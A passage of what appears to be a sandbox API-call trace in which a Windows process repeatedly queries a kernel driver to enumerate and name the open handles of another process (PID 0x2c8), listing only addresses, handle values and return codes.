dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0131.850] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.850] PsAcquireProcessExitSynchronization () returned 0x0 [0131.850] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.850] ObReferenceObjectByHandle (in: Handle=0x228, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800edfdbe0, HandleInformation=0x0) returned 0x0 [0131.850] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.851] PsReleaseProcessExitSynchronization () returned 0x2 [0131.851] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.851] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0131.851] ObfDereferenceObject (Object=0xfffffa800edfdbe0) returned 0x21 [0131.851] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.851] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.851] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.851] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0131.851] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.851] PsAcquireProcessExitSynchronization () returned 0x0 [0131.851] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.851] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800b9ffbe0, HandleInformation=0x0) returned 0x0 [0131.851] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.851] PsReleaseProcessExitSynchronization () returned 0x2 [0131.851] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.851] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.851] ObfDereferenceObject (Object=0xfffffa800b9ffbe0) returned 0x12 [0131.851] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.851] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.851] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.851] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0131.851] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.851] PsAcquireProcessExitSynchronization () returned 0x0 [0131.851] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.851] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f2c220, HandleInformation=0x0) returned 0x0 [0131.851] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.851] PsReleaseProcessExitSynchronization () returned 0x2 [0131.851] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.851] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.851] ObfDereferenceObject (Object=0xfffffa8002f2c220) returned 0x12 [0131.903] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.903] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0131.903] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.903] PsAcquireProcessExitSynchronization () returned 0x0 [0131.903] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.903] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800324b970, HandleInformation=0x0) returned 0x0 [0131.903] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.903] PsReleaseProcessExitSynchronization () returned 0x2 [0131.903] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.903] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.903] ObfDereferenceObject (Object=0xfffffa800324b970) returned 0x20 [0131.903] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.903] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.903] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0131.903] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.903] PsAcquireProcessExitSynchronization () returned 0x0 [0131.903] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.903] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003173b80, HandleInformation=0x0) returned 0x0 [0131.903] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.903] PsReleaseProcessExitSynchronization () returned 0x2 [0131.903] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.903] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.903] ObfDereferenceObject (Object=0xfffffa8003173b80) returned 0x12 [0131.903] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.903] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.903] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0131.903] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.904] PsAcquireProcessExitSynchronization () returned 0x0 [0131.904] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.904] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800296aa20, HandleInformation=0x0) returned 0x0 [0131.904] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.904] PsReleaseProcessExitSynchronization () returned 0x2 [0131.904] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.904] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.904] ObfDereferenceObject (Object=0xfffffa800296aa20) returned 0x12 [0131.904] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.904] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.904] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.904] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.904] PsAcquireProcessExitSynchronization () returned 0x0 [0131.904] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.904] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.904] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.904] PsReleaseProcessExitSynchronization () returned 0x2 [0131.904] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.904] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.904] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.904] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.904] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.904] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.904] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.904] PsAcquireProcessExitSynchronization () returned 0x0 [0131.905] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.905] ObReferenceObjectByHandle (in: Handle=0x2b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.905] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.905] PsReleaseProcessExitSynchronization () returned 0x2 [0131.905] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.905] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.905] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.905] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.905] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.905] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0131.905] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.905] PsAcquireProcessExitSynchronization () returned 0x0 [0131.905] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.905] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003191de0, HandleInformation=0x0) returned 0x0 [0131.905] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.905] PsReleaseProcessExitSynchronization () returned 0x2 [0131.905] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.905] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.905] ObfDereferenceObject (Object=0xfffffa8003191de0) returned 0x1 [0131.905] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.905] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.905] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0131.905] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.905] PsAcquireProcessExitSynchronization () returned 0x0 [0131.905] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.905] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800318ab80, HandleInformation=0x0) returned 0x0 [0131.905] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.905] PsReleaseProcessExitSynchronization () returned 0x2 [0131.905] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.905] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.906] ObfDereferenceObject (Object=0xfffffa800318ab80) returned 0x1 [0131.906] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.906] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.906] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0131.906] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.906] PsAcquireProcessExitSynchronization () returned 0x0 [0131.906] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.906] ObReferenceObjectByHandle (in: Handle=0x32c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003191340, HandleInformation=0x0) returned 0x0 [0131.906] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.906] PsReleaseProcessExitSynchronization () returned 0x2 [0131.906] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.906] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.906] ObfDereferenceObject (Object=0xfffffa8003191340) returned 0x1 [0131.906] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.906] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.906] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0131.906] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.906] PsAcquireProcessExitSynchronization () returned 0x0 [0131.906] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.906] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003190f20, HandleInformation=0x0) returned 0x0 [0131.906] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.906] PsReleaseProcessExitSynchronization () returned 0x2 [0131.906] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.906] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0131.906] ObfDereferenceObject (Object=0xfffffa8003190f20) returned 0x1 [0131.906] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.906] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.906] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0131.906] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.906] PsAcquireProcessExitSynchronization () returned 0x0 [0131.907] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.907] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0131.907] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.907] PsReleaseProcessExitSynchronization () returned 0x2 [0131.907] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.907] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.907] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0131.907] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.907] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.907] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.907] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.907] PsAcquireProcessExitSynchronization () returned 0x0 [0131.907] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.907] ObReferenceObjectByHandle (in: Handle=0x434, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f67870, HandleInformation=0x0) returned 0x0 [0131.907] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.907] PsReleaseProcessExitSynchronization () returned 0x2 [0131.907] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.907] ObQueryNameString (in: Object=0xfffffa8002f67870, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.907] ObfDereferenceObject (Object=0xfffffa8002f67870) returned 0x1 [0131.907] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.907] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.907] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0131.907] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.907] PsAcquireProcessExitSynchronization () returned 0x0 [0131.907] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.907] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003121070, HandleInformation=0x0) returned 0x0 [0131.907] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.907] PsReleaseProcessExitSynchronization () returned 0x2 [0131.907] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.907] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.907] ObfDereferenceObject (Object=0xfffffa8003121070) returned 0x12 [0131.908] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.908] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.908] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd4, lpOverlapped=0x0) returned 1 [0131.908] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.908] PsAcquireProcessExitSynchronization () returned 0x0 [0131.908] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.908] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | 